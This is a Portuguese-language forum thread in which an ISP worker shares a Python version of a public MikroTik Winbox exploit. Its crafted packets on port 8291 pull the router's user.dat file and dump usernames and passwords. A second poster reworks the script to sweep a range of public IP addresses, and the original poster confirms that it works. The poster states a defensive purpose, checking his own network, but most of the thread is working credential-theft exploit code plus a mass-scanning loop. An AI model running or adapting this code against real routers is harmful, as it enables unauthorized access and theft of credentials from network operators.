Jump to content
Sign in to follow this  
lucascruz

Melhorando antiga vulnerabilidade mikrotik em Pyhton

Recommended Posts

Fala galera blz ? 

Meu nome é Lucas e atualmente trabalho num provedor de internet aqui da região onde moro.

Neste provedor, trabalhamos com bastante equipamentos mikrotik.

Foi descoberto uma vulnerabilidade no winbox destes equipamentos se não me engano, aonde é capaz obter os usuários e senhas de um equipamento apenas passando o ip do hardware,

porém a mikrotik graças a Deus já corrigiu o bug.

 

Agora imagina se você quiser ver quais equipamentos da sua rede estão vulneráveis, você terá que colocar ip por ip de um bloco até varrer todos os hosts, e isso é muito trabalhoso.

Então pensei em uma forma de fazer com que você colocasse apenas um ip exemplo 133.255.55.0/24 e ele verificasse do zero até o 254.

 

Este é o cod do momento, efetuei algumas alterações mas não consegui chegar no resultado desejado.

A função está percorrendo todos os ip's do range, porém não funciona.

ele demora demora e cai no settimeout.

#!/usr/bin/env python3

import socket
import sys
from extract_user import dump


def hack_the_planet(ip):
    a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
         0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
         0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
         0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
         0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
         0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
         0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
         0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
         0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
         0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
         0x00, 0x00]

    b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
         0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
         0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
         0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
         0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
         0x00, 0x02, 0x00, 0x00, 0x00]

    # Initialize Socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(3)

    s.connect((ip, 8291))
    s.settimeout(3)

    # Convert to bytearray for manipulation
    a = bytearray(a)
    b = bytearray(b)

    # Send hello and recieve the sesison id
    s.send(a)
    d = bytearray(s.recv(1024))

    # Replace the session id in template
    b[19] = d[38]

    # Send the edited response
    s.send(b)
    d = bytearray(s.recv(1024))
    # Get results
    print(ip)
    dump(d[55:])
    s.close()


print('VARRENDO HOSTS ...')

if __name__ == "__main__":
    try:
        # getip = sys.argv[1]
        iprange = ['177.77.777.'+str(x) for x in range(0, 10)]
        print(iprange)
    except:
        print("Fail")

    for ip in iprange:
        hack_the_planet(ip)

Lembrando que o repositório onde encontrei o cod original é https://github.com/BigNerd95/WinboxExploit

Destes arquivos o unico que fiz alterações foi o WinboxExploit.py

  • Curtir 1

Share this post


Link to post
Share on other sites
Posted (edited)

@lucascruz pelo que eu percebi esse scan é para ser feito numa rede LAN, ou estou enganado?

Edited by gnoo

Share this post


Link to post
Share on other sites
Posted (edited)

@lucascruz  o problema no teu código NO MEU ponto de vista, tem a ver com lógica, ou seja, os dados a enviar, a receber e a ser manipulados devem ser feitos apenas se a conexão se realizar, tens que testar se a conexão existe e só depois envias os dados, recebes os dados e fazes o tratamento dos dados recebidos.

Se a conexão não for efectuada é nos dado um erro que nos dá uma ideia da razão pela qual não fez conexão para nos ajudar a resolver problemas.

A questão agora é se há algum problema com o código do bloco de instruções que é executado se a ligação for efectuada, uma  vez que não consigo reproduzir esse ambiente onde a falha existe, não consigo testar,  isso já fica ao teu encargo.

ATENÇÃO: Eu comentei a linha 

from extract_user import dump

para não dar erro a dizer quer extract_user não existe uma vez que não baixei o código do github apenas olhei para aquele foi aqui referido, para usar o dump tens que descomentar a essa linha.

Segue código:

#!/usr/bin/env python3

import socket
import sys
#from extract_user import dump


def hack_the_planet(ip):
    a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
         0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
         0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
         0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
         0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
         0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
         0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
         0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
         0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
         0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
         0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
         0x00, 0x00]

    b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
         0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
         0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
         0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
         0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
         0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
         0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
         0x00, 0x02, 0x00, 0x00, 0x00]

    # Initialize Socket
    
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        # ATENÇÃO: Deve ser alterado mediante a necessidade
        s.settimeout(0.5)
        # excuta a conexão
        print("A testar Host: " + str(ip))
        conexao  = s.connect_ex((ip, 8291))
        
        # Testa se conexao efetuada com sucesso,
        # Se valor for 0 a conexao foi efetuada
        if conexao == 0:
            print("Conexão efetuada com sucesso em {}".format(ip))
            # Se conexao efetuada executa bloco de instruções que segue
          
            # Convert to bytearray for manipulation
            a = bytearray(a)
            b = bytearray(b)
            # Send hello and recieve the sesison id
            s.send(a)
            d = bytearray(s.recv(1024))
            # Replace the session id in template
            b[19] = d[38]
            # Send the edited response
            s.send(b)
            d = bytearray(s.recv(1024))
            # Get results
            print(ip)
            dump(d[55:])
            
            s.close()
    except socket.error as erro:
        # SE conexão não efetuada devolve erro e passa para a iteração seguinte
        print("IP: {} Porta: 8291, conexão não efetuada -> {}\n".format(ip, erro))


print('VARRENDO HOSTS ...')

if __name__ == "__main__":
    iprange =['177.77.777.' + str(x) for x in range(0, 250)]
    
    for ip in iprange:
        hack_the_planet(ip)

Abraço 

 

 

Edited by gnoo
  • l33t 1

Share this post


Link to post
Share on other sites

Cara, funcionou, Muito Obrigado ! ( e por sinal, ficou muuuuito melhor agora cara nossa )

 

Na realidade utilizo na grande maioria das vezes ip's públicos pois são os ip's que ficam nos mikrotiks da rede etc.

então agora com esse script posso ver quais ccr's estão desatualizadas ou vulneráveis e corrigir no Firewall.

 

vlw msm cara... 

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...